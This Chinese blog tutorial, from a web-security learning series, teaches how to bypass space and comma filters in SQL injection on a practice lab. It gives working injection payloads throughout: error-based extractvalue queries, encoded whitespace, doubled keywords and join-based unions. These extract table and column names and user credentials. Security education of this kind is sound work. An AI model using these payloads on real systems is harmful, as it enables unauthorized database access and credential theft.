35岁重学网络安全——SQL注入篇(二十四)

鲁迅先生曾经说过:做安全,先免责!

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

本文主要内容:空格的过滤绕过方法、逗号的过滤绕过方法。

3.空格过滤绕过

使用靶场第26节

源码分析

从源码中可以看出:过滤了andor、注释符、空格等许多内容
在这里插入图片描述

绕过手法

  • 使用+代替空格
  • 使用URL编码代替空格
    • %20代表spaces
    • %09代表水平制表符(Horizontal Tab,简称HT
    • %0A代表换行符(Line FeedLF
    • %0C代表“换页符”(Form FeedFF
    • %0D代表“回车符”(Carriage ReturnCR
    • %0B代表垂直制表符(Vertical TabVT
    • %A0代表不间断空格(Non-Breaking Space,简称NBS
  • 使用注释符/**/代替空格
  • 使用报错注入
  • 使用()代替空格

靶场实验

方法一:%A0替代空格

参数:?id=-1'%A0union%A0select%A01,database(),3%A0anandd%A0'1'='1(此语句在Linux环境下才会生效,在Windows下不会生效

方法二:利用报错注入

参数:?id=1'||extractvalue(1,concat('^',(database())))||'1'='1

  • ||表示或的含义
  • 中间部分:extractvalue(1,concat('^',(database())))为报错注入语法
  • '1'='1:由于注释符被过滤,因此用于闭合多余的单引号

在这里插入图片描述

查询表名
extractvalue(1,concat('^',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))))||'1'='1

extractvalue()有两个参数:第一个参数为任意数字;第二个参数为concat()函数

concat()函数有两个参数,第一个参数为可以引发报错的^,第二个参数为查询表名的sql语句:

select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()

  • 值得关注的是以下两点:
    • 因为过滤了空格,因此使用()代替空格。如:select group_concat()改写为select(group_concat())
    • 因为过滤了or,因此对infoorrmation_schema中的infor进行了复写,即infoorr

在这里插入图片描述

查询列名
extractvalue(1,concat('^',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()anandd(table_name='users')))))||'1'='1

注意两点:

  • infoorrmation_schema.columnsinfoorr进行了复写
  • anandd(table_name='users')anandd进行了复写

在这里插入图片描述

查询用户信息
extractvalue(1,concat('^',(select(concat(username,':',passwoorrd))from(users)where(id=1))))||'1'='1

注意一点:

  • passwoorrd中出现了or,因此需要复写

在这里插入图片描述

4. 逗号过滤绕过

如果逗号被过滤掉,可以使用join进行绕过

join简介

查询users表和email表中的内容

方式一:外联

select u.*,e.* from users u, emails e where u.id=e.id;

  • u.*e.*表示:u表中的所有的列和e表中所有的列
  • users uemails e表示:users表的别名为u表;emails表的别名为e
  • u.id=e.id表示:两张表相同的字段进行关联

在这里插入图片描述

方式二:join内联

select u.*,e.* from users u join emails e on u.id=e.id;

  • u.*e.*表示:u表中的所有的列和e表中所有的列
  • users uemails e表示:users表的别名为u表;emails表的别名为e
  • join users on emails表示:将users表和emails表进行内联,on用于条件限定

在这里插入图片描述

join替代逗号案例

逗号形式:select * from users where id = 1 union select 1,2,3;
在这里插入图片描述

使用join替代逗号

select * from users where id = 1 
union 
select * from (select 1)a join(select 2)b join(select 3)c;

select * from (select 1)a含义:select 1别名为a,查询a表中的所有列
join(select 2)b含义:select 2别名为bjoin进行内联操作(简单讲:就是连接前面语句)
join(select 3)c含义:select 3别名为c

在这里插入图片描述

靶场实战

在第25节的源代码中添加一行,$id= preg_replace('/,/',"", $id);,用于过滤逗号。
在这里插入图片描述

select 1,2,3已经无法使用,因为逗号被过滤掉了
在这里插入图片描述

使用join绕过
查询数据库名称

参数:?id=-1' union select * from (select 1)a join(select 2)b join(select 3)c --+,可以得知回显位为2和3
在这里插入图片描述

查询数据库名称:?id=-1' union select * from (select 1)a join(select database())b join(select 3)c --+
在这里插入图片描述

查询表名
union 
	select * from (select 1)a 
	join(select group_concat(table_name) 
		from infoorrmation_schema.tables 
		where table_schema=(select database()))b 
	join(select 3)c --+

由于第25节过滤了andor,因此information_schema中的infoor进行了复写操作
在这里插入图片描述

查询列名
union 
	select * from (select 1)a 
	join(select group_concat(column_name) 
		from infoorrmation_schema.columns 
		where table_schema=(select database()) 
			anandd table_name = 'users')b 
	join(select 3)c --+

在这里插入图片描述

查询用户信息
# 查询用户名
union 
	select * from (select 1)a 
	join(select group_concat(username) from users)b 
	join(select 3)c --+

# 查询用户密码
union 
	select * from (select 1)a 
	join(select group_concat(passwoorrd) from users)b 
	join(select 3)c --+

在这里插入图片描述

在这里插入图片描述

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值